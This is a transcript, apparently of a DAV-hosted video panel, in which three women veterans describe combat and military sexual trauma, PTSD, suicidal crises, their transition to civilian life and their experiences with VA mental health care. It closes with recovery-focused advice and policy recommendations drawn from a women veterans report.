traumatic event or events. And I think that's common to, unfortunately, someone experiences something like that and then you have to continue, right? You have a mission to focus on that. Not only did I have to stop and, you know, grieving for my brother, but I had to sever any emotion that I had for my two little girls that were back home waiting for me. I could not, I had a picture of them. I could not look at that picture. I put it at the bottom of my bag in my A bag and I never looked at it again the whole deployment. And I basically essentially in my mind did not have children because I knew that if I kept looking at that picture, you know, thinking about my children, I wouldn't be able to focus. I would be a mess. So I just went into straight survival, you know, mode and just get the mission done mode. Thank you for sharing that. I know you're certainly not alone in that. Thank you. Kim, can you talk about what was most challenging about your service? I found my journal that I kept in Iraq a few years ago, and I read through it. I haven't touched it for, you know, 20 years. And the day that I stopped right in my journal was a day that someone in our convoy ran over a little boy and killed him. We were on a mission going over a bridge and there was two children that were riding their bikes and they decided to try to jump between our trucks. And the first kid made it. The second kid was between our first and second vehicle and didn't make it through. And our vehicles that we drove, they're the second biggest trucks that the military has. And so the tires alone, each tire is over 500 pounds, there's five axles. It was incredibly significant. And we didn't know what happened at first, quickly found out. And what happened is we were on top of a bridge in a town and I ended up going with the Marine to the end of the bridge. And there was an Iraqi policeman there as well. And he showed us his magazine that he had no rounds in his magazine. We were only given 20 rounds in country. That's all we had. That's all we were given the entire time we were there. We didn't have bulletproof vests. We had none of that. So I had 20 rounds. He had none. The Marine I was with had some, but the three of us were on one end of the bridge holding half of the town off. And I knew on the other end of the bridge the same thing was happening. And while that was going on, somebody got a hold of the mom and brought the mom over. And I remember her, it's harder when you become a mom. I remember her falling to the sand and the scream that she made and the sound that she made. And she just kept throwing sand over her head and just screaming after the medics came and took what they could of the boy away. We had to get back in our convoy. And we got back in our trucks and mean another sergeant took water bottles off of our trucks and cleaned the road.  I can't handle it. And I don't know if my kids know the full extent of the story or not, but they just think mom's a little weird. That she doesn't want them on their bikes. And I was so happy when we moved to the country because they wouldn't ask to ride their bikes in town anymore. And I just, I can't get past it. So that was probably, there was more things. Of course that happened, you know, but that was probably the hardest thing. And since becoming a mom, it sticks with me the most. Thank you for sharing that with us.  I think it kind of speaks to, you know, what we were talking about is that you have to, the mission continues.  Juliet, do you mind sharing what was most challenging for you about your service? So many things. I think in Iraq, just rounds coming in all the time and happened to run to the bunkers, you know, and then, you know, they do roll call in the bunkers and when someone, someone didn't answer to their name. Because they call out your name. That was one thing. Another significant thing was when I was stationed and after deployment, I was stationed in Fort Lewis, Washington. And I was on guard duty. And there was another, I was at E4, I was at E5. That was a sergeant in charge that night. And a female came in drunk.  And I noticed that he left. Sergeant left E5 and he didn't come back for a while. It was like six o'clock. I got to go. And so I went just kind of, so there, you know, I'm at E4, you just don't. So let me go upstairs and check on this female. And then I heard this sound like faint crying sound, but I was listening to maybe she's throwing up, maybe something's going on. And, you know, we have the master key, but as I went in that open and I saw him in the act, raping her. And, you know, it was reported. And I think within about a week, I got my dream assignment.  So just, you know, didn't show up at PT. And of course, when you have duty, you have the next day off. So I didn't go to PT the next morning. So I didn't notice I didn't see her and we were very close. She had, she was very young. She had joined the military. She was from the Amish country and she had left and joined the military. So I was very close to her. She's the babysit my kids time to time. And so, you know, within that week, I was given my dream assignment to reassign and got to my dream, my dream location. And she called me one day and she said, yeah, you were supposed to be there for me. And I heard two routes. And so she killed herself with me on the other end of the phone. It took me a while to get through that, you know. And so even when I got to my dream site for, for Meyer in Virginia and it was great. I believe my, my, my, my career really flourished there and kind of thrust me into where I am now. The path that I took, but it was a long, it took me a while to celebrate my victories because I believe it came at the expense of someone else. So that was really impactful. And I think it still states to me today, try to use it now as a, as a thrusting point as a slingshot. You know, whenever I feel down and tired that I want to go the next mile, you know, I'm really reminded that I couldn't have done that. I couldn't have helped, but now I can help. So, yeah. Thank you for sharing that. We talk a lot about, you know, women who experienced military sexual trauma service, right? One in three women report. We don't really talk about, because you know, there are men and women who maybe they didn't experience it, but they know someone who did. They witnessed it. And there's trauma that comes with that as well. So thank you again for sharing that. Given and like Kim alluded to, right?  You faced other challenges, of course, in your service. So considering those, all those challenges, what was your transition like from military to civilian and we'll start with you. Well, so my transition. 2007, I was medically boarded from the military. And the reason was due to chronic severe post traumatic stress disorder. Combat related. I could not think right. I could not. I mean, I, I was a mess. I could not feel anything. I was a terrible mom. And then I got pregnant and was dealing with all of the normal pregnancy hormones that someone would have to deal with. But I was also dealing with this PTSD and the fact I went to the doctor and said, please help me. Something is wrong. I'm hearing sounds that don't exist. I'm seeing tracer fire that does I know it doesn't exist. I know I'm in the United States, but I still see it nonetheless. I still hear the booms. I, you know, I can't sleep. I can't really eat. I when I sleep, I wake up screaming. And I felt like I was being fired. I was with benefits. Thanks for playing, you know.  And now I have three kids and this little baby, this little baby, and I started to have these thoughts that I should not have been having.  It scared me so, so bad. And I really kind of sprinted in my journey to get help. And so my transition was very difficult. I went through the TAP class that they give us the transition assistance program that they give us when you come out of the military. You know, I kind of went through that. But remember this is 2007. I was in combat in 2003. The war was still very much going on. Now it wasn't in 2003 levels, but it was still very much going on. They didn't know what to do with me. So it was just kind of, you know, check the boxes and off you go. And then now what? And your experience with PTSD and pregnancy, it's very much part of the report, right? Absolutely. During pregnancy and up to one year after giving birth is a time for increased risk of mental health diagnosis, just in pregnancy alone, you know? And then you compound that with everything else that's going on.  By the way, that baby is 17 and about to graduate high school. Still a baby or no? I feel like a grown up. Still my baby. Kim, what about you in terms of, you know, where your mental health was in that transition from military to civilian? What was that like for you? I too was sent through medical discharge and it was my life. It was my career. It was something I wanted to do forever. I spent 14 years in, but when they determined they were going to kick me out, I was the leader of a convoy across the U.S. We had to stop quick and do our annual medical checks or whatever. And I did that and I was honest and they immediately pulled me from the second half of my mission. And so I went from convoy commander, team leader, I was our unit suicide, NCO. I prevented two active suicides. You know, I was the mental health component of our unit. I would have soldiers coming to me all the time. I had this problem. I had that problem helping them because they didn't want to go to their leadership. And I think that's a way that I dealt with my mental health when I was little. I learned to just put it in the closet and shut the door real tight, you know, and I was able to separate for a long time. You know, I went through getting my first masters in counseling even and I didn't address any of it. I didn't know I didn't understand.  And helping everybody else kind of helped keep that door shut, but at the same time it was helping me.  The mission keeps going. So they just you're out the door and that's it. You don't get to just come back and visit.   And on top of that, then you go into fighting with the VA fighting with your benefits, trying to keep insurance for my kids. I'm trying to keep a career going on the outside. I lost my dream job because of it. I had my dream full time military job working with the counter drug program. It was amazing. I lost that and all the benefits with that. And it was a huge period of loss.  And one of the hardest things was losing that ability to take care of those soldiers. Julia, and you were kind of nodding a lot. It seems like you can really. Oh, absolutely. Absolutely.  I remember giving the option. You can do med board or you can ETS or you can transit transfers to the National Guard. And I forgot about this until these ladies start talking. So I remember transitioning to the National Guard because that's kind of where I came from. I started in the Guard when I went back to the Guard, but I don't think I realized that wasn't a full time job. And so coming home and dealing, first of all, I had to have a full pelvic reconstruction surgery when I got out, when I was leaving. And so I thought that going med board was going to take a long time and it was going to be a process. And what's going to happen to my children? And do I still keep my BAH? Do I still stay in base housing? What do I do? So my kids went back to Connecticut. Actually, they were in three different states because my family was kind of spread out. So one was in Florida, one was in New York, one was in Connecticut. And so it was tough. And at the time I didn't want to be around the kids anyway. I just kind of felt like they were just kind of better off doing their thing. And I was so military mode and so unhealthy mentally and emotionally that I kind of just want to be with my friends. I just kind of want to do something other than what I was supposed to do. I didn't want to be an adult. I didn't want to do the adult thing. So where I was was not even the same. And then when I got home, after I had that full pelvic reconstruction surgery and a bladder relocation, I had these tubal hanging out of my sides.  I called the realtor online and did all that. And then when I got to Connecticut, because I chose the option of going back to the guard. And so I could do my post-surgery at Yale. So when I closer, like a couple of days, you know, I was supposed to the realtor.  I could because I've been in the middle there for so long. There's no history of me in the community. So I have no history of renting. So I couldn't, I couldn't rent a place. I had the money. I try to stay, you know, with a friend. Couldn't get the light turned on in my name because there's no history anywhere. Couldn't get gas. Couldn't get cable. So I ended up staying on my mom's couch until I was sort of healed up. And then I started hanging out with different people couchsurfing and just mentally and emotionally. It was crazy. And the kids want to come home. And then I'm just in this place where I want to be, but I don't want to live. I want to care for them, but I don't really want them with me full time. And then do I want to be in a relationship? You know, I met someone I dated and then just everything was just in a really very dysregulated state. And I just felt unwanted. You know, you left, you joined the military. I joined the military to serve. And then medically, emotionally, I couldn't, something happened and I could no longer serve. And I felt like there was no place for me. It wasn't a military couldn't keep me and civilian world didn't want me. No one know what to do with me. And I didn't know the VA, you know, I didn't fight with the VA because I didn't go. So yeah, yeah, it was tough. Emotionally, it was really tough. And that's, that's valid.  Because I had the baby and I was still going through, you know, the throws of PTSD and thankfully military to care of me, they retired me out.  But I say that to say, I felt the same way. I felt the same exact way. I just didn't want to life. Yeah. But I had to, but I didn't want, I didn't, I just didn't want to just disconnect with the world.  You feel like you're on this island alone. Fun fact. With no resources. With no resources. We just realized that we all were in country in Iraq at the same time. Wow. Wow. At the same time. And talking about just speaking about insurance, my mom had to put my children on her health insurance. That's another thing when you get out of the military, you don't have health coverage for yourself or for your children. Someone gets sick and where were they going to go to school? I didn't live anywhere. We're going to register these little people in school.  And we just focus on that and what's how to address that or you experienced MST. But your stories are so complex and layer and it's just challenge after challenge, right? Right. It doesn't stop, right? From your military to your transition and civilian life. So, so given all of those challenges that you were experiencing and, you know, for various reasons, people aren't able to connect with a resource like VA when they get out, at least not immediately. What were some ways that that you were trying to cope and maybe that, you know, your mental health was showing up in your day to day life? So in my day to day life, I felt like I needed a purpose. I knew that I had this passion and this energy for the military and I was very good at it. I was a fast burner, what they call a fast burner, which means you basically promote pretty quickly. And so, and so I was very good at my job. I was training people, I had people under me that outranked me because in my, you know, where we were, it was positional, not by rank. Which were kind of weird that way. But anyway, so I had all of this energy and all of this passion for doing the mission and I knew I needed a new mission. So that's where DAV came in actually. I heard about someone in front of mine said, Hey, there's there's a position available on base. Because I was only making like $9 an hour in the position I got right after coming out once I healed up physically because I ended up having hysterectomy actually. But so he says, Hey, there's this position available for DAV. You interested? And I said DAV. All right. Isn't that the organization with like the old guys with hats and pins and all that? And he said, Yeah, but I don't know. Look, they have a job available. It's making more money than what you're making now. Check it out. Okay. And I went and I spoke to the supervisor that was interviewing and he said, Hey, you know, I think you'd be actually be a great fit.  Two weeks went by because I was like, I was so scared to jump into something that was not. Sort of military related. Wasn't federal government. I was terrified. And I had this great boss at the time. So the position I was working in was it was on basis through Department of Defense. But I had this great boss and she said, Naomi, I've been in your position as a single parent. I'm telling you, you need to do what's best for your family. And I said, well, I'm really happy in this job, even though I'm only making $9 an hour. I'm really happy in this job. And she said, No, this job is not what's best for you. I'll keep you. You're great. But you need to do what's best for your family. Thank God for her. Yeah. And I put all of that energy and that passion and that drive now into doing what I love into doing into still serving. And we're very grateful that you found your way to do you kind of by accident and and you're still here and look at you now. Juliet, what about you? You know, given all the challenges that you talked about before, how did you try to cope with those things? Well, in the beginning, a lot of alcohol hanging out at part five, which is a naval naval naval association. And then but I with all that going on. I still was doing a lot of volunteering in the community. I was still calling people checking on people. They were checking on me. Someone need a ride somewhere, you know, whether the car is registered or insured or not. We're driving someone, you know, to a doctor's appointment. And so I was always doing something. I was always either figuring out what's going on in school, talking to other veterans, not in the capacity of helping me, but to help them. And then I think I got to a place where I just did not want to live anymore. And I met Al Meadows, a DAV member.   And like, oh, driving five hours to do all that. And he kept calling me. He kept calling me. I was like, if this man don't stop calling me. And he said he just kept calling me. I mean, for weeks and weeks and weeks talking about LVAP, and I didn't have no idea, no interest. I didn't care. I'm like, first of all, I didn't see that one black person or one female in your chapter. I'm not coming. And he kept going at me. He kept calling me and eventually I said, okay, fine. If I come with you, he took me to, I think it was, what is it? I forgot what it was. It was some kind of event. And I went with him and I was hooked. And I think what it did, it gave me a structure and how to give back and then how to seek help. Because once I started helping people, I saw how they were getting better, but I wanted to get better. And I still didn't even get involved in VA. Yeah. I literally volunteered with him for maybe about three or four years before I joined the chapter or even go to the VA. Yeah. It took a lot because I was still processing. I still had to find a place to live. Once someone had rent me a place, I had to stay. So there's things I still had to do to help with the whole transitioning process and to get myself, to get back on track and be a little momentum to myself. Yeah. And we'll talk in a minute, kind of, you know, your experiences with VA. But Kim, how about you? How did you try to cope with some of the challenges? Well, I mean, like all the other ladies have said, you get out of the military and it's like you're fired. It's like you're thrown away. You know, we're the healthiest. We're the fittest of the fit when we go into the military and then we get broken. And then we're out and we're gone and our family's gone and everything changes and you come back and nothing fits. Nothing is right.  And so I remember about nine months after a deployment being in the kitchen with a couple other guys and somebody said, you know, I'm starting to feel like myself again. And the other guy's like, yeah, me too. And I was like, yeah, me too. Nine months after a deployment, no help, no transition, nothing. We got three months off. I think we came back to be with our family and then back to drill again. There was no one to help us process to understand to do any of that.  And I distracted. I was working on my master's degree. I was working full-time overnights from 11 to 7. I picked up a part-time job. I was doing internships. I was doing everything I could to distract from what was going on, how I was feeling and the hard work I needed to do. And I didn't know I was doing that until the last several years probably. I look back and it's like, oh, I get it. I know what I was doing. But at the time, I thought I was just being productive, but it was a trauma response. And I have all this energy out that I want to do. I want to help my country. I want to help people. I want to do these things. And yet you're broken and don't realize you need to be fixed. And it was just, yeah. It probably felt like even healthy at the time because you're doing so much. Look how good I'm doing. I'm so productive. I'm okay because I'm productive. And it couldn't have been more opposite. I remember reading someplace that you only need two hours sleep. And I was always on the clock working doing something. Whatever part-time job you could think about, I got it. Night-time job you could think, I got it. Something just not to be around those kids because my mom, she couldn't say, come get the kids because I'm working. Yeah. Yeah. So, yeah. Kim, I know that once you did start seeing out help and go to the VA healthcare system, it was quite an uphill battle for you, your long fight. Can you just give us a snapshot of that experience and then how that made you feel? Oh, it's hard. It's been like 14 years of it. I dealt with a lot of dismissiveness with the VA. I deal with a lot of health issues that are not mainstream, that are not fully explainable even to this point. I went through so many doctors. I went through one lady and I was in pain and she was a mental health professional. And she said, well, I can tell you're really anxious. And I said, what do you mean? She's like, you're shaking your leg. And I said, I'm in a significant amount of pain. No, I think you're anxious. And I said, no, I'm not anxious. And it got to the point where I was careful what I wore, how I dressed, that I had makeup on, that my hair was done. So they wouldn't instantly say something is wrong. And yes, there were things wrong. But what I've experienced and a lot of females have experienced, if you have a mental health issue, they will no longer look at your physical health. And for me, my physical health was what was taking me out. And that was not the summer, but the summer before I got to a point where my life, I knew like I'm at the end physically. I went through a minor stroke, a minor heart attack. I got some pretty hefty diagnoses and still keep gaining them as I go, because we don't know what's going on. But I had to get that taken care of because they weren't taking me serious. Yeah. And I got sent to mental health over and over again. And I would pass tests. I went to a telehealth program that was six weeks. I had to drive in, leave my kids and my husband had to miss work, do that. I got it let out in six weeks instead of eight. And he's like, you're doing all the things. And I said, I know what to do. That's not what's wrong. It's the physical stuff. And I went back and I said, okay, I've passed this and I've passed this. And I passed my neuropsych and I passed all these things. Please, please help me with my physical issues. And I got told, well, we think you should go back to mental health again. It was about the fourth time. I said, I just got through a program two weeks early. I just did it. And the lady on the phone said, so let me understand your refusing services. And I said, I'm not refusing services. I just completed them. Well, I will go ahead and dictate on your file your refusing services, hung up the phone and that was used against me for my claim against all of my service connected injuries. I mean, it's just the tiniest snapshot of a million things that I've done through with this, but it's, it's been hard. And until that physical stuff was addressed, that was tearing me down mentally too. But I had to take care of that because that was something I could take care of. Right. And it's, yeah, it's a lot. And you know, when we've spoken before you've referred to it as like medical trauma, right? All the, you know, things that you went through and I don't think that's uncommon. Unfortunately, whether it's, you know, a veteran feeling dismissed or for some other reason being able to unaccess the care that they need. And that's just kind of, you know, trauma on top of trauma. Julia, what challenges did you face in accessing mental health care? If any, I think access to care. Yeah. I remember just when I went to the, when I first went to, well, Al Meadows told me to go to the VA to go register. And I remember not knowing where to go. I walked in and I, there was the, you know, like a round desk for eligibility, which is, is right next to the emergency room. But I wasn't sure where to go. So I asked someone, where do I register? And they said, go down the hall. And I'm walking down and I don't see anything. So I just, you know, there were people there just standing around.  And I just left. I just, I saw this hallway looking like the hallway of death. And I just, I didn't go. And I said, did you go? And I next week I said, okay, I'll just do it online. I went online. It was so confusing. I need to submit the DD 214. Didn't care to go figure that out. It was just, I think I was just in a place where I didn't have a clear path to access the VA. I didn't know where to go and who to talk to. So eventually when I went to eligibility and they said, do you have an address? They don't have an address. And they said, we have to mail you your ID. If you don't have an address, we can't mail you the ID. So I couldn't get an ID card because I, so I told, and I don't know why I didn't tell her. Well, I could mail it to my mom's house. I said, oh, it has to be your address. I don't have an address. So I just left. I just, I just left the VA and I think it was through DAV again. I think it was probably mailed to the headquarters. I'm not even sure. But I remember the first couple of months, I just didn't have the right address. I didn't have, I didn't have anywhere for them to mail me ID. So I couldn't get an ID card. Yeah. Yeah. And certainly there should never be barriers to healthcare, you know, for anyone. But then you think about the veteran population that, you know, for veteran various reasons is already hesitant to seek out health probably because it's been drilled in your head to just push through it. And so, you know, it's too easy to discourage people from getting care. So it's just so important that we remove all of those barriers. Juliet, I want to ask you to, because you've spoken a little earlier about wanting to end your life at one point. What helped you get through that time? Or what would have helped you? What helped me through that time? I think tired of watching my kids being confused really helped me to want to do more. I think my last stay, I spent three days in a psych yard, non VA psych yard. And, you know, no one, like no one called me and checked on me because they just figured I was at work somewhere. But I was, I was literally working at the time I was working at the VA and was just having an issue, just a problem all the time, sick and just not wanted to be around. And a friend of mine walked with me and checked me into the psych yard. And I remember laying there was a glass room with just like a, like a platform mattress, the platform thing with a mattress on top on the floor and really thinking about my children and wondering if they really do need me or not. And then I figured I think I needed them more than I believe they needed me. And, but I think my children is really what thrust me into wanting to seek here because my, my, my goal for suicide was I didn't want them to clean up after me. I didn't want them to, I didn't want anyone to find me. And so I was trying to always try to figure out what's the best way to do it, driving over a bridge, taking some pills, but then that's messy. And then I didn't want them to be traumatized by it. So I couldn't figure out how to not make them suffer. And then as I, you know, kind of open up my, my mind and my heart to care, it just kind of like, I was like, okay, let me try this and see how it is. And it actually was a Dr. Satchela. She's infirm, be a woman. She's at the woman, she was at the women's clinic before she passed. She actually, I spoke with her and she says, okay, I'll help you. And she, you know, that just kind of build that relation. But it really, it started with my children. Yeah. I want to talk a little bit about what we think VA does well. Cause I know you've all had, had good experience as well. Naomi, what do you think VA does really well, especially when it comes to mental health care? I will say when it comes to mental health care, the vet center, I absolutely loved the vet center. I, my first encounter with vet center was when shortly after I got out and it was fantastic. You go in there, you have a cup of coffee.  Yeah. Um, and they were just fantastic. They were great, great folks. Um, and you had a psycho, you have a psychiatrist and they social worker generally, usually, and they were just, it was just like a casual, more casual setting and, you know, even active duty can go there to the vet center, not just veterans. But anyway, so I think vet center is, is, um, something that they do extremely well. Um, and they even have mobile units that they can go to each, um, you know, rural areas such as, uh, like where Kim lives, but definitely that's one of the things and, and they're listening. They're actually listening. You know, we get a chance to speak with the, um, the, the executives over at VA and they really genuinely want to hear things like this. They genuinely want to get that feedback to try to, um, make a difference and, and fix what's broken. Yeah. Um, so, and I, I'll say to my current facility that, that we're at Washington, DC, um, my doctor is amazing, amazing. I can send him, I can shoot him a message, just secure a message and say, hey, I've got this going on, you know, uh, do you think he can help or what can I do or, you know, and I'll get a message back within 24 hours. He will answer me back within 24 hours if he needs to see me or, um, you know, well, let's do a telehealth or whatever I need. I mean, just fantastic. The nurses there are, are amazing. Um, and I have only good experiences really myself with VA, um, for, for VA health care. So I think that's, um, their, their primary care is great.  Right. And VA is a leader in research. They're a leader in innovations. Yeah. Um, you know, and, uh, just medical breakthroughs that, that come through. Yeah. You know, we, VA is the largest healthcare system in the, in the world. And so, um, for them to utilize that population that they have in the, in the resources that they have to make breakthroughs in science and in research is, is, I think they're doing, they're doing really well in that. Yeah. And, um, I think DAV makes clear in, in, in the report that we really believe that VA is best positioned to provide the best care. That's why we want to, you know, really dig deep and, and see what we can do better. I want to switch gears a little bit. Um, you know, to Naomi's point, um, that, you know, people are listening and they want to hear from you. Um, uh, based on your personal experience or anything you've seen in the report, Kim, um, what would you want to say to, uh, you know, policymakers and, and legislators specifically when it comes to mental health for women veterans? Um, wow. It's a big ask. Yeah. Um, you don't have to solve all the problems. Right. Right. Where do I start? Um, I, I definitely think there's a ways to go. Um, I think that for me personally and a lot of other women veterans I've served with that have had similar issues, um, really making sure that people understand, the providers understand that having a mental health condition does not negate physical health issues. Um, that the vet center is great. Let's keep going with that. And what a lot of veterans don't know is that that's confidential because this is a huge part of the veteran world, your claim for disabilities, all of your records at the VA are accessible and some people don't want to do that. I have a veteran that I've, I've actually helped with some custody issues and she was going through potentially losing her children and she knew those VA records could get brought in by her ex-husband or soon to be ex-husband. So she refused to go to care and I said please go to the vet center. It's confidential. You're safe there. Please go. So that's something that I think that they need to, um, because claims and fears like that are such a big issue. That's something that really needs to put out there. I actually testified in court for her about suicide as well because they were trying, her ex-husband was trying to take her kids away because he took them from her and she tried to commit suicide thinking she'd never use them to get the help she needed because he was going to use those mental health records against her. I mean there's, there's a lot of things like that. So the vet center and then me personally, a little more help and a little bit more acknowledgement of the war-related illness injury study center who is the top of research for the VA, um, who I credit was saving my life. So, um, funding for them, helping them help with their projects, they are making a significant impact in physical and mental health research, the programs, the studies.  So let's get that word out and let's follow some of the research to help some more veterans because what they're doing is working. Yeah. And I think that's a big part of the recommendations in the report is like we have some great resources like that, but we need more of them, especially for women veterans. Yes. Um, Juliet, if you could give one message to policymakers or legislators, what do you want them to know? I would say, um, put more effort in caring the community program for mental health. Um, VA is, VA hours are, you know, eight to four, nine to five or whatever. If you're working and if you're, you know, you can't meet those hours, then it's kind of difficult to get your mental health care through the VA. The VA has an awesome, awesome care in the community program where you can choose your mental health provider in the community. VA will pay for it. Um, you need to go through your primary care to submit that referral for you in the community. You can even find your own mental care provider and then tell VA who that person is and VA will help that person, that, that clinician to become accredited and then pay for your care in the community, which is what I do. So I get my care Sunday night.  Um, yesterday I was feeling a little muddled and last I said, I need to talk to you. So it was like, you know, we came in last night very late. I spoke to my, so it's, it's that program I believe is awesome. I, I know a lot of working moms, single moms, people are getting out the military, people are in the guard who have a deployment in guard and reserves, um, who are qualified for VA services, but just, um, can't get to their provider when, you know, at a convenient time between, you know, balancing home and work in school. And so the care in the community program is amazing. It's a part of the Mission Act, I believe. Yeah. Yeah. It's also important to, um, I think, make note that if there is a veteran that's in crisis, they can present at any emergency department. Absolutely. Um, in the community and, uh, VA will, will, will pay for it. Yeah. Yeah. It's an amazing, amazing program. And I think, put more effort into that because a lot of these, a lot of these clinicians aren't being paid on time. So I hear from these clinicians all the time. I, um, and another, another, another thing. I know you said one, but I'm going to go for this one is, um, my health event used in my health event program. You can connect with your provider through my health event program.  I go to the vision program for low vision, uh, uh, whatever. So that is a awesome. So put more money into that, more effort, more resources, more studies, um, and bring it out in the community because veterans still don't know about those programs. I'm meeting veterans all the time who still don't know about those programs. So I think it's a part of my job to thrust it out there to tell them. Yeah. And thank you for doing that because we know, again it's, um, specifically with women veterans, um, how important that outreach is and making sure, um, that they're aware.  I just want to mention in the report, um, we talk about that because we know that women veterans use community care at high rates. Um, so we have some, you know, recommendations in there about, about training requirements and things like that. Right. The community care providers should be, um, trained. Yes. The same exact way that the VA providers are trained. Right. Now they're not required to take suicide prevention training. Yeah.  You should get suicide prevention training. Absolutely. Yes. Absolutely. Ladies, I know we've talked about a lot. Um, thank you so much for everything that you've shared. Um, any final thoughts or, uh, words of, of advice to your fellow women veterans who might be watching? I'll start with Kim. Um, you're not alone. You're not alone. I, I firmly believe that people feeling like they're alone or the world is better off without them is the worst and most dangerous feeling and not having hope. Um, but you're not alone and we're, we're so slow to reach out to each other, to reach out for help and assistance. But what you have to remember is that everybody wants to help you and maybe you don't want to burden your family but find a military brother or sister because we find reward, we find benefit in helping you and give that to us. That's a gift to all of us. So you're not alone. Reach out and we're here for you, Julia. Enroll and register for VA. If you can't find the eligibility office, ask someone. Don't just go it and walk away. But whatever you do because VA has resources and has program for us and every VA has a liaison, uh, a liaison that can help you in the community. They used to call the liaison OIF, OIF liaison. I think it's now um, it's changed that title. But every VA has someone that you can talk to as soon as you walk in. Eligibility is now highlighted, especially in Connecticut VA. There's a sign there because that's something I worked on. And we also have a VA clinic, a women's clinic separate. Um, but anyway, but register and enroll in VA services. Yeah. That's the very, that start there. Yeah. And what I hear too in your answer is like advocate for yourself. Absolutely, advocate for yourself. Yeah. Naomi, any final thoughts? Um, I'll tie in both of those.   No, the world is absolutely better with you. Absolutely. Um, I have that even on my key chain. My son has it on his key chain. Um, because it's just, it is better with you in it and, um, seek help. Uh, so I'll say that one, two, I'll say, uh, reach out to DAV, you know, if you need help, um, with your benefits, your, uh, you know, you don't know where to go for healthcare or whatever. You can find your VA facility. You can go to va.gov. But for sure, reach out to DAV and I want to thank you, Elizabeth, um, who championed for us, who are, um, may not be a veteran, but really have the drive and the passion to ensure that we have the benefits and services and healthcare that we earned, that we fought for, that we put our lives on the line for, put our families on the line for and that we deserve. And so I want to thank, thank folks like you. Absolutely. Thank you. Well, thank you all. It's an honor to be here with you. Naomi, Juliet, Kim, thank you so much for your service. Thank you for all the work that you continued to do. And thank you all for watching. Learn more about the Women Veterans Report. Women Veterans, The Journey to Mental Wellness at womenveterans.org.